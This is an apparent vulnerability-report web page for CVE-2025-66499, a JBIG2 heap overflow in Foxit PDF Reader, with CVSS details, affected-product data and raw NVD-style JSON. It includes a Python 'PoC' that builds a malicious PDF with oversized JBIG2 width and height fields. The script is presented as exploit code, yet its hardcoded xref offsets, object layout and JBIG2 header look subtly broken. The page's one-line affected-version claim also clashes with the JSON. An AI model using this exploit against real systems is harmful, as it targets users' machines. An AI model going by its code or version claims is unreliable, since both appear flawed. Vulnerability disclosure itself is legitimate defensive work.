Security Vulnerability Report
中文
CVE-2025-66499 CVSS 7.8 HIGH

CVE-2025-66499

Published: 2025-12-19 07:16:03
Last Modified: 2025-12-23 17:37:17
Source: 14984358-7092-470d-8f34-ade47a7658a2

Description

A heap-based buffer overflow vulnerability exists in the PDF parsing of Foxit PDF Reader when processing specially crafted JBIG2 data. An integer overflow in the calculation of the image buffer size may occur, potentially allowing a remote attacker to execute arbitrary code.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
Foxit PDF Reader < 2024.12.19.xxxx

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-66499 PoC - Foxit PDF Reader JBIG2 Heap Buffer Overflow Note: This is a conceptual PoC for educational and security research purposes only. Do not use for malicious activities. """ import struct import sys def create_malicious_pdf(): """ Generate a malicious PDF file with crafted JBIG2 data that triggers integer overflow in buffer size calculation. """ # PDF header pdf_content = b'%PDF-1.7\n' # Object 1: Catalog catalog_obj = b'1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n' pdf_content += catalog_obj # Object 2: Pages pages_obj = b'2 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n' pdf_content += pages_obj # Object 3: Page page_obj = b'3 0 obj\n<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R >>\nendobj\n' pdf_content += page_obj # Object 4: Content stream with JBIG2 image reference content = b'q\n' content += b'/Im0 Do\n' content += b'Q\n' content_obj = b'4 0 obj\n<< /Length ' + str(len(content)).encode() + b' >>\nstream\n' + content + b'\nendstream\nendobj\n' pdf_content += content_obj # Object 5: JBIG2 image stream with crafted data # JBIG2 segment with manipulated fields for integer overflow jbig2_data = create_jbig2_stream() jbig2_obj = b'5 0 obj\n<< /Type /XObject /Subtype /Image /Width 1 /Height 1 /Filter /JBIG2Decode /Length ' + str(len(jbig2_data)).encode() + b' >>\nstream\n' + jbig2_data + b'\nendstream\nendobj\n' pdf_content += jbig2_obj # Object 6: Image XObject reference img_obj = b'6 0 obj\n<< /Type /XObject /Subtype /Image /Width 8000 /Height 8000 /BitsPerComponent 1 /Filter /JBIG2Decode /DecodeParms << /JBIG2Globals 5 0 R >> >>\nendobj\n' pdf_content += img_obj # Cross-reference table xref_offset = len(pdf_content) xref = b'xref\n0 7\n' xref += b'0000000000 65535 f \n' xref += b'0000000009 00000 n \n' xref += b'0000000068 00000 n \n' xref += b'0000000125 00000 n \n' xref += b'0000000180 00000 n \n' xref += b'0000000250 00000 n \n' xref += b'0000000300 00000 n \n' pdf_content += xref # Trailer trailer = b'trailer\n<< /Size 7 /Root 1 0 R >>\nstartxref\n' + str(xref_offset).encode() + b'\n%%EOF\n' pdf_content += trailer return pdf_content def create_jbig2_stream(): """ Create JBIG2 data segment with values that trigger integer overflow in buffer size calculation. """ # JBIG2 segment header # Symbol segment with manipulated width/height fields segment_data = bytearray() # Segment number segment_data.extend(struct.pack('>I', 0)) # Segment header flags segment_data.append(0x00) # Segment type and flags # Page association segment_data.append(0x01) # Referred-to segments (count) segment_data.append(0x00) # Segment data: manipulated values for integer overflow # width = 0xFFFF * 0xFFFF could overflow in size calculation segment_data.extend(struct.pack('>H', 0xFFFF)) # width field segment_data.extend(struct.pack('>H', 0xFFFF)) # height field # Additional crafted fields for i in range(16): segment_data.append(0xFF) return bytes(segment_data) def main(): if len(sys.argv) < 2: print('Usage: python cve_2025_66499_poc.py <output.pdf>') print('This PoC demonstrates the vulnerability concept.') return output_file = sys.argv[1] pdf_data = create_malicious_pdf() with open(output_file, 'wb') as f: f.write(pdf_data) print(f'Malicious PDF created: {output_file}') print('WARNING: This file is for research purposes only.') if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66499", "sourceIdentifier": "14984358-7092-470d-8f34-ade47a7658a2", "published": "2025-12-19T07:16:03.197", "lastModified": "2025-12-23T17:37:17.333", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A heap-based buffer overflow vulnerability exists in the PDF parsing of Foxit PDF Reader when processing specially crafted JBIG2 data. An integer overflow in the calculation of the image buffer size may occur, potentially allowing a remote attacker to execute arbitrary code."}], "metrics": {"cvssMetricV31": [{"source": "14984358-7092-470d-8f34-ade47a7658a2", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "14984358-7092-470d-8f34-ade47a7658a2", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionEndIncluding": "13.2.1.23955", "matchCriteriaId": "AAE67A0F-4DFE-4268-90D5-789CCA2155A6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0.0.33046", "versionEndIncluding": "14.0.1.33197", "matchCriteriaId": "F1694C31-1717-40B3-9E11-773E39F288A8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2023.1.0.15510", "versionEndIncluding": "2023.3.0.23028", "matchCriteriaId": "0C75FEE6-54F3-49C6-BAEA-A09D23BE5D64"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2024.1.0.23997", "versionEndIncluding": "2024.4.1.27687", "matchCriteriaId": "2C06BC41-9831-4AE3-B10B-3FC313D01580"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2025.1.0.27937", "versionEndIncluding": "2025.2.1.33197", "matchCriteriaId": "4AC7F7F1-B05D-48C7-9DD3-CFC7CBA2E275"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_reader:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025.2.1.33197", "matchCriteriaId": "538915D1-1531-44A8-B15D-BCFE1356BCB5"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionEndIncluding": "13.2.1.63315", "matchCriteriaId": "DF36C22F-253D-4ACE-A202-1BC66099FB43"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0.0.33046", "versionEndIncluding": "14.0.1.69005", "matchCriteriaId": "4EAD777E-152E-4870-8CFD-10A4ED542409"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2023.1.0.15510", "versionEndIncluding": "2023.3.0.63083", "matchCriteriaId": "8D41C109-FCCC-467D-AC01-37CE4106DC89"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2024.1.0.23997", "versionEndIncluding": "2024.4.1.66479", "matchCriteriaId": "A5CE4481-BEBB-4646-B235-DCE82AEBD265"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_editor:*:*:*:*:*:*:*:*", "versionStartIncluding": "2025.1.0.27937", "versionEndIncluding": "2025.2.1.69005", "matchCriteriaId": "B0778A96-55FD-452C-88F5-EE42D2D8CE49"}, {"vulnerable": true, "criteria": "cpe:2.3:a:foxit:pdf_reader:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025.2.1.69005", "matchCriteriaId": "83D931C5-F081-441F-8B29-4FDD7B32327A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}]}]}], "references": [{"url": "https://www.foxit.com/support/security-bulletins.html", "source": "14984358-7092-470d-8f34-ade47a7658a2", "tags": ["Vendor Advisory"]}]}}